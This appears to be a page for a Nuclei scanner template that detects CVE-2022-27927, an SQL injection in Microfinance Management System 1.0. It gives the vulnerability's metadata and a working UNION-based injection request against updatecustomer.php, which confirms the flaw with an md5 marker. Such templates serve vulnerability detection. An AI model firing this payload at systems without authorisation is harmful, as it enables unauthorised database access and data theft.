Microfinance Management System 1.0 - SQL Injection

ID: CVE-2022-27927

Severity: critical

Author: lucasljm2001,ekrause

Tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project

Description

Microfinance Management System 1.0 is susceptible to SQL Injection.

YAML Source

id: CVE-2022-27927

info:
  name: Microfinance Management System 1.0 - SQL Injection
  author: lucasljm2001,ekrause
  severity: critical
  description: |
    Microfinance Management System 1.0 is susceptible to SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
    - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
    - https://www.exploit-db.com/exploits/50891
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
    - https://www.sourcecodester.com/php/14822/microfinance-management-system.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27927
    cwe-id: CWE-89
    epss-score: 0.33545
    epss-percentile: 0.97064
    cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microfinance_management_system_project
    product: microfinance_management_system
  tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project
variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022039846b856eab177d5965470be277afba6646877e87767924a45b32d14712d6e902210092f724ab3cca70d96b23aa935cfb5bc9ae8a581567f96194eadf94d7c4a597bd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27927.yaml"

View on Github